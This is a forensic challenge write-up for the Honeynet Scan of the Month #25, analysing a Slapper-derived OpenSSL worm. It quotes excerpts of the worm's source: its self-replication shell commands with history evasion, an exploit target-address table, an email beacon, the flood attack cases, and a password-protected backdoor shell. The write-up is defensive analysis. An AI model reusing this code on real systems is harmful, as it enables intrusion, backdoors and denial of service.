Forensics Report - Scan of the Month 25
By: Ralph Schindler
Email: ralph at redhive dot com

The Scan Of The Month #25 for November 2002 deals with a new worm that was captured from the wild. The details of the problem can be found here. In the following report will be the questions, a brief answer, and an extended answer with examples and references that backup up our conclusions.

Answers to Questions

Question 1
Which is the type of the .unlock file? When was it generated?
.unlock is a gzipped tar archive. It was generated or last modified at Fri Sep 20 05:59:04 200

Extended Answer
We downloaded the .unlock file from the honeynet web site and checked its integrity.
    [ralph@lab files]$ curl > .unlock
      % Total    % Received % Xferd  Average Speed          Time             Curr.
                                     Dload  Upload Total    Current  Left    Speed
    100 17973  100 17973    0     0  65835      0  0:00:00  0:00:00  0:00:00  155k
    [ralph@lab files]$ md5sum .unlock 
    a03b5be9264651ab30f2223592befb42  .unlock
Just as suspected, the file matched the MD5 Sum supplied by the honeynet team. Our next step was to determine the type of file. The file has an uncommon naming convention, so we used the "file" command to determine its type.
    [ralph@lab files]$ file .unlock 
    .unlock: gzip compressed data, deflated, last modified: Fri Sep 20 05:59:04 2002, os: Unix
Not only did this step reveal the type of file we were dealing with but also the last modified time of the file. We were then able to untar and gunzup the files from what was captured.
    [ralph@lab files]$ tar zxvf .unlock 

Question 2
Based on the source code, who is the author of this worm? When it was created? Is it compatible with the date from question 1?
Based on the source code in file .unlock.c, the worm was authored by "contem@efnet" some modification done by aion (

The date on the .unlock.c is Sep 20 08:28.

This is the same date on the tar/gz file from question one.

Additionally, we searched for the author of this file using Google. What we found that the same author "contem@efnet" released a non-exploited version (worm only) of "Peer-to-peer UDP Distributed Denial of Service (PUD)". It can be found on named pud.tgz. Upon examination of the pud.tgz, it was packed together with client and server c code on Thu Sep 12 18:05:30 2002.

These dates are also comparable. The date in the file .unlock is approximately 8 days after the date of the pud source file. This gave the attacker enough time to create (or use) an exploit to insert into the worm and release into the wild.

Extended Answer
Our answers to question two lie in the source code for .unlock.c and .update.c
    From .unlock.c
       3  *           Peer-to-peer UDP Distributed Denial of Service (PUD)           *
       4  *                         by contem@efnet                                  *
    From .update.c
       1 /*                                             code by aion ( 
       2  ****************************************************************************/
And in the file information:
    [ralph@lab files]$ ls -la .unlock.c
    -rw-r--r--    1 ralph    ralph       70981 Sep 20 08:28 .unlock.c
Upon examining the contents from pud.tgz (program written by same author) we find the date of Sept 12 on these sources..
    [ralph@lab pud]$ less pud.tgz 
    -rw------- packet/packet 52853 2002-09-12 18:05:23 pud.c
    -rw------- packet/packet 34884 2002-09-12 18:05:23 pudclient.c
Upon examining the the pud.c against the .unlock.c we made the following conclusions:
  • activates SCAN feature
  • changes port from 2002 to 4156
  • changes version from 11092002 to 20092002
  • added the mailing functionality
  • added the openssl exploit functionality
  • changes it's process name to PSNAME (httpd)

    Remembering an advisory some time ago we came to the conclusion that is worm is actually a modified "slapper" worm, modified by

  • Question 3
    Which process name is used by the worm when it is running?
    The worm uses the process name "httpd".

    Extended Answer
    To get this we examined the source of .unlock.c ---------
              78 #define PSNAME          "httpd "

    Question 4
    In which format the worm copies itself to the new infected machine? Which files are created in the whole process? After the worm executes itself, which files remain on the infected machine?
    The worm uuencodes the .unlock source file then transmits it via the exploited socket connection on the vulnerable machine.

    In the process, the uuencoded .unlock file is saved as /tmp/.unlock.uu, it is then unpacked via uudecode, then untar'ed and un'gzipped in the tmp directory. The worm them compiles the source via gcc. Before the worm deletes itself the following files will be located on the system:
    The worm then deletes all files except /tmp/.unlock, the source code for the worm. This needs to stay on the machine so that it may infect replicate itself to new machines that it will find.

    Extended Answer
    These answers to these questions also lie in the source for .unlock.c. In lines 1411-1428 we can see that the work of replication is done. sockfd is the socket connection to the vulnerable machine.
        1411   writem(sockfd,"export TERM=xterm;export HOME=/tmp;export HISTFILE=/dev/null;"
        1412                 "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin;"
        1413                 "exec bash -i\n");
        1414   writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
        1415                 "       /tmp/httpd /tmp/update /tmp/.unlock; \n");
        1416   writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n");
        1417   zhdr(1);  
        1418   encode(sockfd);
        1419   zhdr(0);
        1420   writem(sockfd,"__eof__\n");
        1421   writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu;   "
        1422                 "tar xzf /tmp/.unlock -C /tmp/;              "
        1423                 "gcc -o /tmp/httpd  /tmp/.unlock.c -lcrypto; "
        1424                 "gcc -o /tmp/update /tmp/.update.c;\n");
        1425   sprintf(rcv,  "/tmp/httpd %s; /tmp/update; \n",localip);
        1426   writem(sockfd,rcv); sleep(3);
        1427   writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
        1428                 "       /tmp/httpd /tmp/update; exit; \n");

    Question 5
    Which port is scanned by the worm?
    Port 80.

    Extended Answer
    From the source of .uplock.c
          67 #define SCANPORT        80

    Question 6
    Which vulnerability the worm tries to exploit? In which architectures?
    The worm tries to attack an OpenSSL vulnerability through web servers running apache with ssl using the OpenSSL library. More specifically, the worm attackes the following architectures:
        Distro    | Apache Version
        Debian      1.3.26
        Red-Hat     1.3.6
        Red-Hat     1.3.9
        Red-Hat     1.3.12
        Red-Hat     1.3.12
        Red-Hat     1.3.19
        Red-Hat     1.3.20
        Red-Hat     1.3.26
        Red-Hat     1.3.23
        Red-Hat     1.3.22
        SuSE        1.3.12
        SuSE        1.3.17
        SuSE        1.3.19
        SuSE        1.3.20
        SuSE        1.3.23
        SuSE        1.3.23
        Mandrake    1.3.14
        Mandrake    1.3.19
        Mandrake    1.3.20
        Mandrake    1.3.23
        Slackware   1.3.26
        Slackware   1.3.26
    (The first column is the Linux Distribution and the Second is the Vulnerable Apache/SSL version packaged with that distro of linux)

    Extended Answer
    In the source for .unlock.c, we found an array of architectures that have 3 important fields: a linux distribution name, an Apache version number, and a function address used in exploitation.
        1245 } architectures[] = {
        1246         {"Gentoo", "", 0x08086c34},
        1247         {"Debian", "1.3.26", 0x080863cc},
        1248         {"Red-Hat", "1.3.6", 0x080707ec},
        1267         {"Slackware", "1.3.26", 0x083d37fc},
        1268         {"Slackware", "1.3.26",0x080b2100}
        1269 };
    Some extended analysis of this code against the source of another known exploit ( leads us to believe that the OpenSSL exploit is loosely based on the openssl-too-open exploit.

    Question 7
    What kind of information is sent by the worm by email? To which account?
    The worm emails the host ip address of the machine infected, the host name of the infected machine, and the ip address of the machine that infected the infected machine. That email is sent to the account An email would look like (written in perspective of machine doing the emailing):
         hostid:   << /etc/hostid, otherwise my_ip >>
         hostname: << my_hostname >>
         att_from: << ip_or_machine_name_that_infected_me >>
    Extended Answer
    We examined part of .unlock.c that was commented as code injected by aion
          73 //////////////////////////////////////////////////////////////////////////////////////
          74 //                                  aion                                            //
          75 //////////////////////////////////////////////////////////////////////////////////////
          76 #define MAILSRV         ""
          77 #define MAILTO          ""
          78 #define PSNAME          "httpd "
          79 #define WORMSRC         "/tmp/.unlock"
          80 #define UUHEAD          "begin 655 .unlock\n"
          82 int writem(int, char *); 
          84 int zhdr(int flag)
          85 {
          86   int fd;  char *gzh="\x1f\x8b\x08";
          87            char *kgz="\x00\x00\x00";
          88   if((fd=open(WORMSRC,O_WRONLY))==-1) return -1;
          89   if(flag) write(fd,gzh,3); 
          90     else write(fd,kgz,3); 
          91   close(fd);    
          92 }
          94 int mailme(char *sip)  
          95 {
         122   sprintf(cmdbuf," hostid:   %d \r\n"
         123                  " hostname: %s \r\n"
         124                  " att_from: %s \r\n",gethostid(),buffer,sip);  
         125                                                        writem(pip, cmdbuf);              
         126   recv(pip,cmdbuf,sizeof(cmdbuf),0);
         127   sprintf(cmdbuf,"\r\n.\r\nquit\r\n");                 writem(pip, cmdbuf);
         128   recv(pip,cmdbuf,sizeof(cmdbuf),0);
         129   return close(pip);
         130 }    

    Question 8
    Which port (and protocol) is used by the worm to communicate to other infected machines?
    Port 4156 is used to communicate between infected machines using the UPD protocol.

    Extended Answer
    From the header section of .unlock.c we see this:
          66 #define PORT            4156
    and from the main function of .unlock.c we see it sets up to listen
        1781         if (audp_listen(&udpserver,PORT) != 0) {
        1782                 printf("Error: %s\n",aerror(&udpserver));
        1783                 return 0;
        1784         }

    Question 9
    9 Name 3 functionalities built in the worm to attack other networks.
    The worm has 3 attack methods build in: tcp flood, udp flood, and a dns flood.
    Extended Answer
    In .unlock.c, we see a switch statement that handles incoming requests.. as we look through the source for this we find the following:
        2205                                         case 0x29: { // Udp flood
        2246                                         case 0x2A: { // Tcp flood
        2279                                         case 0x2B: { // IPv6 Tcp flood
        2308                                         case 0x2C: { // Dns flood

    Question 10
    10 What is the purpose of the .update.c program? Which port does it use?
    .update.c was added to the worm by aion. It runs on port 1052 and provides simple password protected shell access to the infected machine.
    Extended Answer
    This program opens an open port and accepts connections on port 1052 for 10 seconds, every 5 miniutes. It runs as the process name "update ". When connected to, it expects that the user will give the correct password (aion1981), then give raw shell access to the infected machine. From the source of .update.c
           4 #define PORT      1052
           5 #define PASS      "aion1981"   
           6 #define SLEEPTIME 300          // sleep  5 min.
           7 #define UPTIME    10           // listen 10 sec.
           8 #define PSNAME    "update   "  // what copy to argv[0]
          63                 if( !strncmp(temp_buff,PASS,strlen(PASS)) )
          64                   execl("/bin/sh","sh -i",(char *)0); 
          65                 closeall(); 
          66                 exit(0); 

    Question 11 - BONUS QUESTION
    Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?
    The pupose of SLEEPTIME and UPTIME is so that the program does not to appear to be running on the system. These are common techniques to evade being caught running by a user typing "netstat -l" on the command line to find out what ports are being bound to. It also is a technique to evade network scanners that are looking for unauthorized services running on a network. In the case that a network scanner is running, it would have to scan the infected the machine at the same time the program is connected to the port, which would be for only 10 seconds every five minitues.

    Since we forgot that the report was due in GMT vrs EST, we regret to say that this could be formatted and detailed a bit better.

    Last revised: Nov 29, 2002
    By: Ralph Schindler,